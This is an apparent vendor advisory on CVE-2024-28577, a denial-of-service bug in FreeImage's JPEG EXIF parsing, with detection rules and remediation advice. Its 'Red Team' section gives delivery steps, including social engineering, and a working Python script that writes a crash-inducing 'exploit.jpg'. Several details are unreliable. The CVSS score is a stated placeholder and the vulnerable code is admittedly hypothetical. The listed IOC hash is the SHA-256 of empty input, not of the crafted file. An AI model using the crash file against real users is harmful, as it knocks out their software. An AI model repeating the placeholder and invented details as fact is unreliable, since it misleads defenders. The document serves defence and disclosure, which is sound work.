CVE-2024-28577

Executive Summary

CVE-2024-28577 is a Null Pointer Dereference vulnerability in the open-source FreeImage library version 3.19.0 [r1909]. The flaw resides in the jpeg_read_exif_profile_raw() function, which is invoked when processing JPEG images. A local attacker can trigger a denial of service (DoS) by providing a specially crafted JPEG file that causes the function to dereference a null pointer, leading to a crash. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as Medium severity due to the local attack vector and requirement for user interaction. No public exploit code or patch is currently available.

Supply Chain & Package Security

FreeImage is a widely used image processing library integrated into numerous applications and systems. This vulnerability poses a supply chain risk: any software bundling FreeImage 3.19.0 [r1909] is susceptible to DoS attacks via malicious JPEG files. Developers and maintainers should monitor for updates or consider replacing FreeImage with a maintained alternative.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Local (AV:L) – attacker must have local access or trick a user into opening a malicious file.
• Attack Complexity (AC): Low (AC:L) – no special conditions required.
• Privileges Required (PR): None (PR:N) – no authentication needed.
• User Interaction (UI): Required (UI:R) – victim must open the crafted JPEG.
• Scope (S): Unchanged (S:U) – impact confined to the vulnerable component.
• Confidentiality (C): None (C:N)
• Integrity (I): None (I:N)
• Availability (A): High (A:H) – service crash leads to DoS.

Threat Level: Medium. Exploitation is straightforward but requires user interaction and local access.

Deep Dive & Mechanics

The vulnerability is a classic null pointer dereference in the jpeg_read_exif_profile_raw() function within FreeImage’s JPEG metadata parser. When processing a malformed JPEG file, the function attempts to read an EXIF profile without verifying that the associated data pointer is valid. If the EXIF segment is corrupted or missing, the pointer remains null, and the subsequent dereference causes a segmentation fault.

Root Cause: Lack of input validation on the EXIF data pointer before use.

Trigger: A JPEG file with a malformed or empty EXIF profile segment.

Impact: Application crash (DoS). No code execution or data leakage is possible due to the nature of the null pointer dereference.

Vulnerable vs. Patched Code

Vulnerable Code (FreeImage 3.19.0 [r1909]):

// Simplified representation
void jpeg_read_exif_profile_raw(JPEG_OBJECT *jpeg, EXIF_INFO *exif) {
    // No null check on exif->profile_data
    memcpy(exif->profile_data, jpeg->exif_data, exif->profile_size);
}

Patched Code (Hypothetical fix):

void jpeg_read_exif_profile_raw(JPEG_OBJECT *jpeg, EXIF_INFO *exif) {
    if (exif->profile_data == NULL) {
        // Handle null pointer gracefully
        return;
    }
    memcpy(exif->profile_data, jpeg->exif_data, exif->profile_size);
}

No official patch exists. The fix requires adding a null pointer check before dereferencing exif->profile_data.

Exploitation & Lab Setup

Red Team (Exploitation)

No public exploit code is available. To reproduce the DoS:

1. Craft a JPEG file with a corrupted EXIF segment (e.g., using a hex editor to set the EXIF pointer to null).
2. Host the file or deliver it via social engineering.
3. When the victim opens the file with an application using FreeImage 3.19.0 [r1909], the application crashes.

Proof-of-Concept (Python):

# Generate a minimal JPEG with null EXIF pointer
import struct

def create_malicious_jpeg():
    # JPEG SOI marker
    data = b'\xff\xd8'
    # APP1 marker (EXIF) with zero length
    data += b'\xff\xe1' + struct.pack('>H', 2)  # length = 2 (no data)
    # EOI marker
    data += b'\xff\xd9'
    return data

with open('exploit.jpg', 'wb') as f:
    f.write(create_malicious_jpeg())

Blue Team (Defense)

• Detection: Monitor for crashes in applications using FreeImage. Use the Sigma rule below.
• Mitigation: Isolate applications using FreeImage in sandboxed environments. Restrict file uploads to validated JPEGs.
• Workaround: Replace FreeImage with a maintained library (e.g., libjpeg-turbo, stb_image).

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (Example – generate from crafted file)
  • e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
• File Patterns: JPEG files with APP1 marker length < 8 bytes.
• Behavioral: Application crash with segmentation fault in jpeg_read_exif_profile_raw.

Detection Engineering

YARA Rule

rule CVE_2024_28577_JPEG_NULL_EXIF {
    meta:
        description = "Detects JPEG files with null EXIF pointer triggering CVE-2024-28577"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-28577"
    strings:
        $jpeg_header = { FF D8 }
        $app1_marker = { FF E1 }
        $null_length = { 00 02 }  // APP1 length = 2 (no data)
    condition:
        $jpeg_header at 0 and $app1_marker at 2 and $null_length at 4
}

Sigma Rule

title: CVE-2024-28577 FreeImage Null Pointer Dereference
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects application crashes due to null pointer dereference in FreeImage
author: Valters IT
logsource:
    category: application
    product: windows
    service: application
detection:
    selection:
        EventID: 1000
        Provider_Name: 'Application Error'
        Faulting_Module: '*FreeImage*'
        Exception_Code: '0xc0000005'  # Access violation
    condition: selection
falsepositives:
    - Legitimate crashes from other bugs
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-28577 FreeImage JPEG Null Pointer DoS"; flow:to_client; file_data; content:"|ff d8|"; content:"|ff e1 00 02|"; distance:0; within:4; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable EXIF parsing in FreeImage if possible, or apply input validation on JPEG EXIF segments.
2. Short-term: Replace FreeImage with a maintained alternative (e.g., libjpeg-turbo, stb_image).
3. Long-term: Monitor for official patches from the FreeImage project. If unresponsive, consider forking and patching the code.
4. Detection: Deploy YARA/Sigma rules to identify malicious JPEGs and application crashes.

Valters IT – Securing open-source ecosystems one CVE at a time.